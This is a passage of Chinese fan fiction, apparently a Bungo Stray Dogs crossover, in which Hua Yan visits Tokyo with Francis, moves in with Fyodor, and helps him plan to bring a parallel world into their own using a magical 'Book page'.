花言接过对方分享给他的温泉券,发现上面印着的——用于宣传的环境似乎很不错,而且比对一下券的价格和泡一次所需要的价格,也确实非常实惠。 看得花言没忍住发出了灵魂疑问,“你为什麽总是能找到这种划算的东西?” 上次的锅也是。 弗朗西斯闻言爽朗地大笑出声,“这可能就是精明商人都会有的敏锐嗅觉?” 花言认为这应该是精明资本家之间的心有灵犀。 “说起来,你在最后一晚似乎做了什麽不得了的事情,把我吓了一跳。”弗朗西斯言归正传谈起想要见对方的原因。 “当时我睡得正香,枕边坡和路易莎的电子手册忽然响起警告,通知我——我帮助的对象即将死亡,如果想要自救只能在他死亡前找出并除掉威胁他生命的元凶。” “坡和路易莎的电子手册……?” 花言的注意力没忍住偏移,不知道自己该不该问为什麽对方在睡觉时也要带着这两人的电子手册。 弗朗西斯知道对方好奇什麽,坦然承认了这一点,“嗯哼,我晚餐刚好遇见了路易莎,就用了她的电子学生手册吃晚餐,进寝室需要坡的电子员工手册,所以这两人的电子手册都在我这里不是很正常吗?” 这真的正常吗? 花言对此十分质疑。 “也正因为这样我才感到奇怪,路易莎和坡帮助的其实是不同的对象,路易莎跟我一样支持你,但坡更偏向侦探那边。” 弗朗西斯语气夹杂上了疑惑,“这东西没有投票,仅从举动偏向判断,我没办法强行改变他的想法,因此他们的手册同时会发生警告是一件非常奇怪的事情……不对,具体来说,是路易莎手册先发出的警告,后面坡的手册才响起。” 花言明白为什麽白天规则会发生改变——让没有参与自相残杀游戏的人选择帮助对象了,原来是黑白熊诡计多端的绝望散播计划,对方真的想要在白天的校园上演史上最大最恶的绝望事件。 白天他们无法说出任何有关自相残杀游戏的事情,因此其他人也无法得知威胁自己帮助对象生命的元凶是谁,再加上时间限制、对未知情况以及对同伴与自身安危的担忧,其他人只能根据自己的猜想不断尝试,又或者干脆无差别攻击。 “起初我以为是那个侦探那边的人想对你动手,你拉着他想同归于尽。但后来我发现近乎所有人的电子手册都在发出警告,托这份警告的福,你的竞争对手是哪些人简直一目了然。” 弗朗西斯想到当时那种场面就想笑,乐不可支地跟对方描述。 “学院鱼龙混杂,有电子手册的人都在因为警告而焦灼,他们一边恨不得立刻除掉所有威胁自己帮助对象生命的元凶,一边又要小心翼翼地注意不被其他人发现自己在夜间出行触犯了规则,殊不知那晚有多热闹,光是一个楼梯拐角每次回头都能遇到不同的人。” 花言听了对方的描述也有点想笑,“你该不会也是他们之中的一员吧?” “当然不,经验丰富的人都知道合同上如果有条款没有写清楚,那这份合同十有八九有陷阱,我不会因为这样一句没头没脑的警告就去违反规则,更何况我相信你的能力。” 弗朗西斯随手从车中的抽屉拿出墨镜戴在眼前,挡住正午的刺目阳光,继续说道。 “当然,我也不会任由其他人对你动手,所以我利用规则把他们都赶回寝室了,事实证明我做的果然没错,你瞧,这件事迎来了完美结局。” 花言赞同地点头,确实是完美结局,甚至可以说一切都像是精密齿轮转动间的咬合,如果当时在白天规则更新后发生了什麽案件,又或者是被处刑的人不是他、最后没有拉其他人一起同归于尽,白天的学院都会爆发出大混乱。 虽然他们这些外来的人不会彻底死亡,但万一牵连到了原本就是那个世界的人该怎麽办?他可不确定其他教职工和学生会不会也不会彻底死亡。 “麻烦你了。” “没什麽麻烦的,我也没做什麽,原本我以为会更复杂费脑一些,还精心练习了该如何给你作伪证,帮你隐瞒信息,但没想到最后都没用上。” 弗朗西斯说着甚至有点遗憾。 “连带着其他人也都很老实,没有触犯规则,也没有什麽可疑举动,我抓不到任何纰漏,也没什麽可乘之机,噢……不对,也有不老实的人。” “那个俄国人。”他想起了某道白色身影,“因为他看起来就很可疑,所以我每次跟着他都能抓到他在触犯规则。” 花言:…… 花言回忆起早上果戈里跟他的抱怨,原来一直针对对方的美国人真的就是弗朗西斯。 他又有点想笑,不知道该同情一下果戈里,还是该感谢弗朗西斯把最不稳定的因素抓起来了,毕竟从果戈里的抱怨来看,如果弗朗西斯没有抓对方,后者一定已经开始找费奥多尔麻烦了,搞不好还会波及到他。 花言果断感谢,“谢谢,帮大忙了。” “这没什麽,举手之劳罢了。”弗朗西斯对此毫不在意,“比起其他人,他实在是太好抓了。” 花言没忍住笑出了声。 他余光注意到身侧不断拉过的景物,后知后觉弗朗西斯似乎已经开了十几分钟的车,按照他们的速度和横滨面积的大小,他们应该已经出横滨了。 “我们要去哪家餐厅?” 弗朗西斯轻描淡写地回答,“东京有家餐厅很不错。” 仿佛是为了映衬弗朗西斯的话,路边一块标注着东京的路牌映入眼帘。 花言确实没吃过东京的餐厅。 该说不愧是弗朗西斯吗?一去就是最繁华的都市。 在繁华都市里能够被弗朗西斯评价为不错的餐厅显然也不同凡响,价格与味道成正比,环境低调奢华,完美符合了花言期待中的构想。 他一边尝试弗朗西斯推荐的罗曼尼康帝,一边听对方提起了港口mafia的事。 “昨晚发生了一件很有意思的事情,港口mafia在倒卖好不容易从欧洲那边弄到的货,我本来以为他们会留着自己用,没想到会选择倒卖出去。” 弗朗西斯说到这里面色有点古怪,“港口mafia最近快要破产了吗?” 花言:…… 应该是恰恰相反才对。 弗朗西斯注意到花言沉默的反应,“你好像知道点什麽?” 花言一言难尽地告诉了弗朗西斯这件事的来龙去脉,后者没忍住哈哈大笑。 “原来是你给他们的补偿,说真的,你真的不考虑来“组合”吗?我觉得我们的能力说不准会很适配。” 花言十分感谢对方的再次邀请,然后冷漠拒绝。 “不要,我还有任务呢。” “好吧好吧。”弗朗西斯也只是随口一说,没指望对方能同意,“你任务遇到困难记得喊我帮你。” 花言觉得现在就有需要对方帮忙的地方,考虑到现在的时间,以及在路程上所需要花费的时间,他回去应该已经临近黄昏了。 既然都来东京了,那当然要给费奥多尔带点什麽回去,比如说晚饭,又比如说一些好的红茶。 于是花言向弗朗西斯请教了东京能够买到这些东西的地方。 这算是问对人了,弗朗西斯开着跑车带花言近乎贯穿整个东京,买到了能够被前者称作还不错的红茶与值得带给重要之人品尝的晚餐。 等花言再次敲响费奥多尔据点的房门时,已然近乎是晚上,周围昏暗的光线下,只留一轮余晖挂在天际。 坏,他好像又没按照约定的时间见对方。 亏他之前还跟对方保证了呢。 费奥多尔该不会已经失望地离开了吧? 花言有些犹豫要不要再敲第二次,他抬起手还没来得及落下,门恰时被人打开,发出一声“嘎吱”声响,费奥多尔站在门后,笑容依旧。 “您回来了。” “嗯。”花言松了口气,将手里提着的纸袋交给了对方,“这是给你带的晚餐和礼物。” 说着他又想起了什麽,补充道:“你吃过晚餐了吗?” “还没有。”费奥多尔唇边笑意加深,嗓音透着些许低哑,像是刚休息了一会,“您呢?” “我吃过了。” 来的路上在弗朗西斯车里吃的,既然都是能够被对方称之为值得带给重要之人的晚餐了,花言当然要买两份高低尝尝什麽味。 “那就好。”费奥多尔拿出了那本书交还给对方,“这个我已经看完了。” 花言扫了一眼对方手里的书,没有接,“这个就放在你这里吧。” 反正也不是什麽重要的东西,相比之下…… “有什麽需要我帮忙的地方吗?” 费奥多尔已经看出这本书对对方影响并不大,后者应该是单纯为了方便他看才整理出了这本书。 听见对方的询问,他微微摇头,“我还没制定好计划,这可能需要点时间。” “没关系,那下次我再来。”花言停顿了一下,“或者你可以去那个住宅找我,我晚上应该会在那。” 费奥多尔缓缓眨了眨眼眸,像是才反应过来花言想要离开的意思,声音里裹挟上恰到好处的失落,“这里的环境没有让您满意吗?” “没有,这里很好,就是……”花言有些迟疑,“我一直打扰你好像不太好,而且这里也只有一间卧室和一张床。” 对方总不会一直通宵工作吧?那要是想睡觉了该怎麽办?睡沙发吗?还是去其他据点睡? 那他这也太冒昧了,哪有把屋子主人赶走的? “这个问题不用担心,我让人再搬张床就好了,就像是我们在宿舍时一样。” 眼前身形瘦削裹挟着孱弱气息的青年唇边笑容浅浅,那双瑰丽的紫瞳被最后的余光照亮,显得温柔又缱绻。 剩余的话语与晚风吹拂过树梢的沙沙声响一同传入耳畔。 “而且,您没有打扰我,倒不如说……我很高兴您能陪着我,花言。” 或许是中午喝的酒还没有完全代谢干净,思维能力没有以往那麽敏捷,花言慢半拍地读出了费奥多尔话语中的含义与背后的邀请意味。 他努力转动被酒精麻痹到近乎打结的思维去判断自己究竟该怎麽回答。 他该同意吗? 可这是不是有点太快了,宿舍住在一起跟住进对方家好像不是同一个概念…… 但是,昨晚对方跟自己分析的也很有点道理,异能空间不舒服,“太宰治”他们给自己弄的住宅可能会被其他人上门打扰,住在对方这里确实是最合适的…… 费奥多尔迟迟没有等到对方的反应,他将手中提着的纸袋轻轻放在脚边,靠近了对方才闻到那一缕极淡的酒味,透着丝丝缕缕的甜意与醇香。 费奥多尔意识到了什麽,指尖进一步勾起对方墨镜,不出意外地看见那双绮丽的眼眸其中神色似乎正在走神,视线漫无目的地落在了半空。 微凉的指腹触碰上对方脸颊,强行唤回了后者的思绪,令那双色泽靡丽的瞳孔聚焦在自己身上,也仅倒映出自己的身影。 他放轻了嗓音,更直白主动地询问对方的想法。 “花言,您愿意继续陪着我吗?” 第103章 昨天傍晚他具体是怎麽回答的,花言有些记不清了,只记得系统像是苦尽甘来喜极而泣的欣慰夸赞,以及在周围昏暗光线下,被最后余晖映衬得仿佛能够摄人心魄的紫罗兰色眼眸,其中的神色愉悦又满足。 花言抓着被子坐在床上,望向卧室另一侧,费奥多尔下属的效率很高,近乎随叫随到,连夜放了张床在那。 此刻那张床上空无一人,如果不是被子和床单有些褶皱,花言肯定会认为费奥多尔又工作了一晚上。 他走进客厅,不出所料地看见书房的门被虚合,门缝中隐约透出一片昏暗与无机质冷光,而客厅的桌子上也如同昨日一样已经为自己准备好了符合他胃口的早餐。 花言默不作声地坐在餐桌边进食,兴奋了一晚上上蹿下跳来回旋转的系统再次出声。 【宿主,一跃千里啊!哪怕你没有主动去见攻略对象,后者都主动来找你了,甚至还主动挽留你,给你准备早餐,他现在绝对已经被你迷得神魂颠倒了!】 系统像是在翻看备忘录般碎碎念。 【让我看看,拥抱、约会、同居这三项都达成了,下一步应该是更亲密的肢体接触……】 花言:? [我和费奥多尔什麽时候拥抱和约会了?] 系统开始觉得自家宿主好像记忆力有些不好,不过没关系,它会给对方记录好的。 【就是你夜探攻略目标房间不成,反被……】 [……好了,我知道了。] 花言面无表情地咽下嗓子里的包子,庆幸自己没有喝水,不然现在八成已经被呛到了。 被梅开二度提醒了尴尬回忆的花言头皮发麻过后,深深的质疑席卷而来。 [那也算是拥抱?] 系统对这方面也不太确定,但是从结果来看没问题。 【你就说攻略目标有没有抱你吧。】 那确实抱了。 花言再一次感受到了这个实习攻略系统的单纯,说不准他的攻略任务其实很好完成。 [约会是什麽时候?该不会是前天晚上中华街的时候吧?] 【没错。】 系统给予了肯定。 花言:…… 系统没有在意花言的沉默,它充满干劲。 【宿主,你们现在已经成功同居了,我觉得你完成攻略任务指日可待!】 考虑到之前给自家宿主造成的困扰,系统这次事先寻求对方的意见。 【需要我给你提供几个好点子吗?】 [谢谢,但是不用。] 花言果断拒绝,他觉得系统的好点子八成是土味坏点子。 系统有些失落,不过这份失落在想到自家宿主进度飞快的现状时又被兴奋取代,转而发出几声高兴的嘿嘿笑声,听得花言有点担心这个实习攻略系统是不是终于被那十几个杀毒程序养出蛊了。 花言喝完杯子里的牛奶,端起餐盘进厨房清洗,洗完坐在沙发上发了会呆,随后又起身决定去看看学院线的众人怎麽样。 花言戴上墨镜走到门口,在摸上门把手的那一刻,身后忽然响起一道熟悉的嗓音。 “您要出门吗?” 花言回过头,发现费奥多尔手中端着茶杯正站在书房门口,苍白俊美的脸上神色平静,像是刚好注意到的随口一问。 “嗯,我打算去看看他们。” 花言告诉了对方自己出门的原因,目光落在对方手中的瓷制茶杯上,那不像是昨天他看见的咖啡杯,再加上他在厨房看见的茶壶…… “味道怎麽样?” “很不错。”费奥多尔唇边绽开笑容,“您是在东京那边买的吗?” 花言没想到对方这都能猜出来,“你去过那里?” “嗯,那家的调味红茶和原味红茶都很有名。”费奥多尔点了点头,注意到对方脸上细微的好奇,“您要尝尝吗?” 花言有些犹豫,最终还是拒绝,“下次吧。” 他刚吃饱饭,尝不出什麽太精细的茶味。 费奥多尔也没有强求。 花言跟对方告别后按照感应到的位置依次看望了一下在横滨的众人,顺带把觉得该回去上课了的几位教师送了回去,在横滨一圈下来他除了“太宰治”那几人以及“费奥多尔”他们,其他人都看了个遍。 仔细感应了一下位置,他发现那几人都在最繁华的东京,也难怪昨天“太宰治”会先选择询问自己,而不是直接上门看望,原来距离太远。 花言随意找了个地方吃饭,吃完饭又去擂钵街逛了一圈重新再次当了“茶泡饭之神”,最后踏着金红的夕阳回了据点。 虽然这样说可能有点乐不思蜀,但花言确实感受到了跟费奥多尔住在一起的方便之处,后者很了解他的口味,也逐渐了解了他的作息。 花言每次起床都能看见不重样又符合他口味的早餐,连带着偶尔会在这里吃的其他两餐也完美符合他的喜好,甚至他在夜间起床时还能吃到宵夜,不仅解决了他每天该思考的吃什麽的问题,同样也给予了他极大的期待与满足。 花言这几天出门时不时去看望一下学院线众人,时不时去擂钵街派发茶泡饭,又时不时去繁华商业街继续刷流浪汉经验。 费奥多尔起初会在花言出门时送别对方时,并顺便问对方去做些什麽,但花言的回答只有两种,一种是“看看他们”,另一种是“体验生活”。 前者费奥多尔知道是指什麽,后面这个“体验生活”他不太明白。 花言似乎是不想出现在监控下被各方捕捉身影,也像是已经养成了习惯,每次出门都会用异能掩藏身形,只会在必要的时候出现,比如说跟上次跟弗朗西斯见面、或者是跟平行世界的他们见面的时候,又比如说出现在监控死角。 这让费奥多尔稍微花了点时间才弄清楚了对方口中的“体验生活”是什麽意思。 他沉默地看着下属呈交上来的报告,由于花言太过敏锐,他并未让下属拍照,而是让后者暗中观察,以文本的形式描述。 报告中描述的也很直观,总共只有两张纸。 一张内容较少,只写着——目标进了擂钵街,身形时隐时现,在为众流浪汉派发茶泡饭。擂钵街人多眼杂,考虑到目标在擂钵街的威望以及擂钵街的地形,跟踪难度较高,暴露风险较大,等待您的下一步指示。 而另一张则详细了许多。 ——下午一点目标蹲坐在繁华商业街角落,未带兜帽,戴了墨镜,面前放着碗,疑似假装流浪汉。 ——下午两点三十分,目标被巡警以破坏市容为由想要逮捕,目标狂奔逃窜,巡警在巷子里丢失目标,遂作罢离去。 ——下午三点,目标在繁华商业街街头再次出现。 ——下午四点,路过一个小男孩丢了一枚硬币在目标碗中。 ——下午五点,目标收碗离去,身形再次消失。 ——目标今日收获为一百日元。 费奥多尔目光落在最后一行上。 花言原来很缺钱……? 这个想法在脑海中浮现不到一秒便被划去,他回想对方在咖啡厅里给他制作咖啡时的娴熟技术,觉得对方做这一切应该不是为了钱,而是单纯的爱好。 费奥多尔不理解,但他仍旧尊重。 薄薄的纸张被点燃,紫罗兰色的眼底倒映出跳动的火焰,灰烬从半空中簌簌落下,火光彻底湮灭的同时,书房外响起门被打开的声响。 ——是花言回来了。 忙活了一天的花言忙活了一天,虽然下午只赚到了一百日元,但他在回来的路上遇到了“费奥多尔”和“涩泽龙彦”,拿到了他们为自己挑选的衣物。 原本花言是想请他们吃饭的,但被“涩泽龙彦”以社团活动快开始了而拒绝,“费奥多尔”也表示已经打扰了太久而打算回去。 花言只能遗憾地提着衣物回来,顺带把起初只说玩一天结果现在玩了近半个月的“太宰治”,以及被后者拖着陪同的“中岛敦”他们也一块送了回去。 至此,学院线众人都回去上课了,他今天干的事也十分充实,真是可喜可贺。 花言随手关上身后的门,从纸袋里拿出里面的衣物,发现里面有三件,跟他现在穿的类别相同,分别是斗篷、上衣和裤子,也都是白色系的。 花言没看出哪里不同,他只从入手的触感感受到这套衣物用的布料似乎相当不错。 “这是他们为您挑选的吗?” 费奥多尔指尖搭在门边,含笑望向站在门口的白发青年。 “嗯,好像没什麽区别。” 花言有些不确定,他指尖抵上肩头的斗篷,决定先试试再说。 雪白的斗篷瞬间化为一捧光点消散在半空,花言换上了新的斗篷,发现后者比他之前复制出来的那个要精致一些,虽然款式上没什麽太大的变化,但在一些细节方面做的很好,比如说这件是斜边扣,在下摆有银色的暗纹。 “你觉得怎麽样?” 花言揪着斗篷摆低头来回打量,没注意到费奥多尔唇边的弧度逐渐僵住。 “嗯……看起来比之前要修身一些,您要不要都换了试试?” 耳边属于对方的声音依旧温和,花言采纳了对方的意见。 他进浴室换上了全套,从镜子里仔细观察,发现明明这套衣服跟他平时穿的类型一样,款式上也没什麽太大的变化,但整体给人的感觉却截然不同,用“涩泽龙彦”的话来说,应该是不那麽像开花肠了? 该说不愧是“涩泽龙彦”和“费奥多尔”花费了这麽长时间选出来的衣物吗?居然能够在没有改变类型的情况下弥补这种装扮的不足之处。 花言打开门,站定在费奥多尔面前,询问对方的意见,“如何?” “很好看。”费奥多尔毫不吝啬地夸赞,“这套比您之前那套要更适合您一些。” 他目光不着痕迹地扫过浴室,不出意料地发现里面没有花言换下来的衣物,之前对方没有更换的衣物他还以为是对方有什麽能够一键清洁的异能,但现在看来原来是…… 费奥多尔沉默了一下,他目光落在面前兴致盎然的青年身上,犹豫再三,还是确认道:“花言,您之前身上的衣物都是……” “嗯,你可以当作是类似于异能的东西。” 花言心情很好,他坦然回答了对方。 费奥多尔张了张口,有些艰难地再次确认,“一直都是吗?” 花言理所应当地点头,“一直都是。” 费奥多尔:…… 费奥多尔不知怎麽想起了中华街发生的事。 虽然当时花言身上的衣物并没有消融的迹象,对方看起来也不在意,但是…… 果然还是多给对方买几身衣服比较好。 第104章 花言觉得费奥多尔对他似乎有点无微不至了。 对方不仅一日三餐和夜宵安排的很好,还会在他下午待在家时给他准备下午茶,甚至还参考了他对衣物的偏好,看出他对“费奥多尔”他们给自己准备的那套衣物的喜爱,给他准备了几套相似的衣物给自己。 这让花言不由得反思起明明是自己要攻略对方,怎麽显得对方像是在攻略自己一样。 他痛定思痛,主动进厨房将里面已经完全挥发完香气变得冰冷的红茶倒掉,估摸着对方的口味,给对方泡了一壶新的调味红茶——虽然原味的也很不错,但是从费奥多尔逐渐降低的频率来看,也许对方已经喝腻了。 书房的门一如既往地没有关上,从缝隙里倾泻出里面的冷光,花言扒着门框悄悄往里看了一眼,有些迟疑自己会不会打扰到对方,即使以费奥多尔的敏锐度应该已经察觉到自己了,但该不该先敲门表示一下呢……? 对方最近好像一直都很忙的样子。 花言短暂地犹豫后准备另寻机会,他不动声色地撤回一杯红茶,准备端回去自己喝。 在他移开视线准备躺回沙发的前一秒,房间里的人忽然发出一声叹息。 “花言,您可以直接进来。” 费奥多尔从闻到空气中蔓延出了一缕缕清香时,就隐约猜到了花言在做什麽,意识到对方已经站在门口,他以为对方终于变得主动了,但没想到对方安静地观察了他一下之后居然准备离开。 果然还是得由他来吗? 费奥多尔椅子微转,看向站在门口的白发青年,后者听见他的邀请也没有再犹豫,径直推门而入。 花言将茶杯放在对方桌面,目光扫过对方计算机屏幕,上面依旧是一堆看不懂的代码与加密的邮件。 “我打扰了你吗?” “没有,倒不如说,我一直没有合拢门的缘由就是为了方便您出入。”费奥多尔撑着脸颊,含笑望向对方,“我说过,我希望您能陪着我,所以您怎麽做都没关系,我期待着您与我的每一次交流与接触。” “我知道了……” 花言模糊不清地应了一声,视线近乎逃避地瞥向一边。 这种反应已经很好告知了费奥多尔如果他再进一步,对方肯定会假装有事离开,他端起对方放在桌面氤氲着热气的红茶,恰到好处地转移了话题。 “闻起来味道好像不太一样,是您调制的吗?” “嗯,用了点香料。”花言目光又移了回来,期待地看着对方,“你尝尝怎麽样。” 费奥多尔低头抿了一口,意外地发现这杯红茶的味道不是特别甜,这一缕甜味更像是用于中和红茶与其他香料本身自带涩味的调和剂,刚入口给人的感觉像是伯爵红茶,但又比伯爵红茶要淡一些,降低了过于丰富的味道,着重放大了红茶本身的清香。 这不像是花言平常的口味,更像是对方按照他的喜好特意调制的。 “您对这方面好像很擅长。”费奥多尔赞叹出声,“很令人惊艳的味道。” 花言眼眸充盈着笑意,“你喜欢就好。” 幸好他还没忘记那所剩无几的茶艺调制技术。 他端起桌上另一杯已经冷掉的红茶,打算回厨房清洗。 费奥多尔注意到对方打算离开的举动,再次开口,“花言,我已经制定好要用的计划了。” 花言动作微顿,有些意外对方居然能够在什麽都没跟自己了解的情况下制定好计划,“需要我帮你做些什麽?” “嗯……可能需要您帮我筛选一下可行的方案?” 费奥多尔指尖搭在鼠标上,一键关闭了其他窗口,仅打开了一排排计划方案。 “由于我对您并不是完全了解,也不知道您能够做到哪种地步,这些计划中又会不会有对您造成危险的地方,所以需要麻烦您帮我看看。” 花言看着屏幕里密密麻麻的字,以及编号从一到百的方案,理解为什麽费奥多尔会说“需要点时间”了,或者说,对方能只花大半个月的时间制定出这麽多种计划已经很了不起了。 明明对方可以直接问他这些问题,再通过答案制定更加具体可行性高的计划,为什麽要选择如此迂回又费心费力的方式呢? 这个疑问在浮现出的下一秒得出了答案。 ——对方是想在不触犯到他个人空间的情况下,通过他筛选出的计划,了解他的意愿。 如果是这样,花言并不介意让对方知晓他的想法。 费奥多尔起身给花言让出了位置,后者接过费奥多尔手中的鼠标,开始逐一浏览。 费奥多尔站在花言身侧与对方一同看着屏幕,他原本已经做好了替对方解答疑惑地方的准备,以及引导对方快速排除可行性最低计划的方法,但没想到对方完全不需要他的帮助。 正如在学院社团中,午后他们所下的国际象棋一样,花言很了解自己的思维方式,在这方面也拥有极高的分析能力,对方能够意识到自己每一步计划背后的用意。 花言一目十行地扫过屏幕中的文本,他原本以为对方会一步到位利用这个计划得到“书”,又或者是得到好用的“神人”和“大指令”,但没想到对方这几百种计划中只有三分之一提到了这些,连带着能够成功的可能性也微乎其微。 对方像是完全更改了最初的想法,将重心转移到了他身上——这倒是很正常,毕竟对方原本周密的计划都被他的恋爱学院副本击沉了,如果再按照原本计划走,那无论如何也不可能达到原本想要的效果。 不过对方制定的这些计划也没到能够一步到位完成对方理想的地步,更像是想验证什麽。 验证什麽呢? 花言目光触及桌面上放置着的散发着浅浅光粒的书。 ——是里面只有“枝干”、“枝丫”、“叶片”三种代称的平行世界引起了对方的好奇吗?对方产生了跟“太宰治”一样的猜想,想要测试这个世界是不是“主干”或者“根部”?想要测试能不能通过平行世界反向干预这个世界? 花言张开口有点想跟对方解释这些代称只是为了方便对方理解不同平行世界之间他所能做到的作用域,但很快又吞了回去,既然“太宰治”会通过自己的观察与测试得到这种结论,费奥多尔现在也得出了无二的结论,那万一错的是他呢? 是由于他来自于外界,所以对这里的所有世界有一层认知滤网呢? 虽然系统跟他说会选择这里的原因是就近原则,但考虑到系统的不熟练,以及在“世界树”的说法中,“主干”和“根部”都是所有世界中最大的局域,在某种程度上也确实符合系统所说的就近原则。 因此这个问题目前答案并不确定,通过这种方式验证一下似乎也可以。 费奥多尔注意到花言欲言又止最终陷入沉思的反应,主动询问:“让您为难了吗?” “没有,我大概知道你的想法了。” 花言目光没有从已经看完的那些计划中移开,他鼠标仍旧在那些计划中滑动。 “你的想法没错,我们进入平行世界确实会被那个世界的力量体系同化,或者压制原本的异能。我也确实不知道如果让力量体系不同的平行世界降临在这个世界,是平行世界被这个世界同化,还是这个世界被平行世界同化……但是,在这之前还有个更大的问题。” “您请说。” 费奥多尔听见花言准确说出自己的想法时眼眸中浮现出愉悦,连带着后面对方提出的问题也没有抹消那份好心情。 “我不知道能不能做到这一点,也不知道到时候会发生什麽样的情况。” 花言更进一步地跟对方解释,“你知道那些平行世界编号后面的代称意味着什麽,我只尝试过让“叶片”“龙头战争”降临在横滨,还是透过解析拆分了涩泽的异能空间做到的,本质上当时横滨所有人都在异能空间。” 似乎是觉得这样不够详细,花言又举了一个例子,“学院世界也是这样,我只将你们都拉进了那个平行世界,范围也局限在学院内,而那场有一点特殊力量的自相残杀游戏也是通过梦境的形式融入的,所以如果让不同力量体系的平行世界反向降临,那这个范围有点太大了……” 费奥多尔清楚对方想告诉他什麽了,他若有所思地点头,提及了一个看似不相干的问题,“花言,“书页”能够对您起效吗?” 花言微愣,隐约明白对方为了确保目的准确达成而想要使用的筹码了,“应该可以,你要用“书页”确保平行世界的覆盖?” 费奥多尔点头肯定了对方的猜测,“这样会对您造成什麽负担吗?” 花言低头思索了一会儿,轻轻摇头,“不会,不过……” 他缓缓说出了自己顾虑的地方,“如果那个平行世界的力量体系与这个世界相差太大,我到时候可能会被排斥出这个世界。” 当时系统给他解释能够复制“书页”的说法是——这个世界看起来还是好好的。 现在他如果按照费奥多尔计划中那样走了,这都近乎是在融合世界了,这个世界马上就不好了,他不得立马被驱逐出境? “看来最保险的方式是让力量体系与这个世界相近的平行世界降临呢。” 费奥多尔拿起一旁散发着光粒的书,对其中的内容都已经无比熟悉,他准确地翻到了某一页,展开在花言面前,更进一步地商讨。 “您觉得这个世界如何?” 花言闻言抬起眼眸望去,发现对方翻到的那一页是“平行世界编号270(枝丫)”,如果他没记错,这页往后就是与他们这个世界只有时间线不同的平行世界,对方选的相近果然很近。 “这个应该没什麽问题……”花言顿了顿,还是委婉地告知了对方让这个世界降临的风险,“我其实不是对所有平行世界都有控制权。” 比如说对方手中的这个世界实际上是系统数据库中的世界,里面没有平行世界的他们,也不属于他异能可以操控的作用域,让这个世界降临需要系统的辅助。 “会给您造成危险吗?”费奥多尔眉头微蹙,下意识啃咬起指尖。 这个平行世界世界是所有不同力量体系中与这个世界最相近的一个了。 而且代称是“枝丫”,如果降临的平行世界代称是“叶片”或者“枝干”就没有测试的必要。“叶片”能够影响和做到的范围太小,带来的信息收益太低。“枝干”则测试不出他想要的东西。 他如果想知道这个世界究竟是不是“主干”,只能用“枝丫”来测试。代称为“枝丫”的平行世界只要成功降临在这个世界,如果这个世界是“主干”,那麽那个平行世界的代称也会因为跟“主干”产生了交集而发生变化,比如说从“枝丫”变成“枝干”。 因此其他的力量体系与这个世界相近的世界,要麽是只有时间线不同的平行世界,要麽代称是“枝干”或者“叶片”,层层筛选下来收益最大的只有这个平行世界。 不过要是这份测试会威胁到花言,那麽他可能需要重新制定更加保险一点的计划了。 “不会。” 花言果断摇头,这归根结底是由他为主导的,应该不会对他造成多大威胁,主要是…… “我担心会对这个世界和你们造成危险。” “这点没关系,花言。” 费奥多尔脑海中思考着的备选方案被划去,既然不会对对方造成危险就无需顾忌了。 他轻描淡写地说道:“这一部分在意料之中。” 意料之中吗? 花言下意识抬起头看向费奥多尔,后者苍白俊美的脸庞被冷光打上一层阴影,显得更加晦暗不明,那双掩藏在昏暗中的紫罗兰色眼眸里神色淡漠,似早在很久之前就做好了这种觉悟,而这份淡漠又在眼眸转动看向他时被熟悉的温和取代。 费奥多尔唇边挽起笑意,“既然这个可以,那我们来敲定一下具体计划吧,花言。” 花言没有拒绝,他应了一声,“好。” 费奥多尔走到花言身后,微微俯下身,指尖覆上对方握着鼠标的手,引导着对方点开与现状最为靠近的计划方案。 “首先是降临的方式,唔……如果有“书页”的帮助,您能做到跟让这个平行世界成为跟天空赌场类似的存在吗?让所有人对它的存在习以为常。” 略有些低哑的熟悉嗓音自耳畔响起,此刻他们距离极近,花言近乎能够感受到洒在耳畔的温热气息,呼吸间也充斥着对方身上宛如西伯利亚雪松林的冷冽香气。 “嗯……”花言听着对方的话,点头。 费奥多尔另一只手环过花言,在键盘上轻点,更改了这份计划中的某项。 “然后是那个平行世界的时间段……每个平行世界的时间段描述方法似乎都不一样,这个平行世界的是‘过去’、‘现在’、‘未来’,这三个时间段背后的含义跟字面意思相同吗?花言?” “不……这里有点特殊。” 花言努力从对方的气息里抽出思绪,他回忆着系统数据库中的具体内容,跟对方描述。 “如果你想要近乎是没有特殊力量的世界,可以选择‘过去’这个时间段,‘现在’这个时间段那个平行世界的力量体系跟我们相同,而‘未来’是那个世界最为混乱,可以说是濒临毁灭的时间段。”* 费奥多尔没有打断对方。 直到这里,听起来还都是跟字面意思相同的解释,像是那个平行世界从还没有发现特殊力量,到发现特殊力量并蔓延开,再到力量失控被吞噬一样。 但既然花言说有点特殊,那应该还有话没说完。 果不其然,只听对方接着说道。 “‘未来’是那个世界的坏结局,‘现在’是那个世界的好结局。” “那个平行世界有两种可能?”费奥多尔有些疑惑,“我以为这两个结局会被分为不同的平行世界。” “因为世界线会收束吧?”花言也不太明白该怎麽跟对方解释这个世界的特殊,“就是……他们有可以窥探未来并更改的手段,也有能够窥探平行世界的存在,你可以理解为坏结局是通往好结局中的一环。” 费奥多尔明白对方的意思了,他轻轻笑了一声,“听起来很有意思。” 花言忽然警觉,“这个世界排在这里是因为‘过去’时间段的入口中和了‘未来’时间段的入口,如果要进‘未来’时间段的入口,风险很大的。” 更重要的是——那个世界的“未来”相当恐怖,如果用那个时间段降临在这个世界,他绝对会被这个世界赶出去的。 “嗯,我只是对他们窥探未来更改未来手段,以及窥探平行世界的存在,感到好奇而已。”费奥多尔安抚了花言,“您觉得时间段入口选‘过去’怎麽样?还是说您更希望选‘现在’?” “如果你想试试异能不明显……或者是消失的可能,那可以选‘过去’。”花言给出了建议。 “好,听您的。” 费奥多尔敲定了新的细节,他越过花言从抽屉里拿出“书页”。 “上面起初写的内容我已经换了一种角度让它们生效了,后面续写的话,我会将下一步写在您让那个平行世界降临的时候,确定您成功又不会被排斥出这个世界的结果,剩余的内容……写那个世界与这个世界的交集点,以及最后解除那个世界降临的方式?” “后面这些不用麻烦你……” 花言又想起了系统的自动生成,副本的环节是都固定好的,如果由对方写说不准会出现冲突导致出现什麽特异点,或者是世界崩坏之类的情况。 “这个平行世界降临的时候会自动为进入的人生成合适的背景、交集点,以及解除方式,就像是那场自相残杀游戏中的——我们的身份一样。” “听起来很方便呢。” 费奥多尔从桌面的笔筒中抽出了一支笔,低头在“书页”上从容不迫地书写下能确保花言成功的内容。 方便吗? 花言回想了一下在学院里发生的事,要不是学院线的那些人帮忙,他说不准都身兼数职了,既是校长又是幕后黑手。不过要是除去这几点,那确实挺方便,完全不用动脑编身份。 “这样如何?” 费奥多尔的嗓音唤回了花言的思绪,后者循声望去,确认“书页”上的内容没问题后点头。 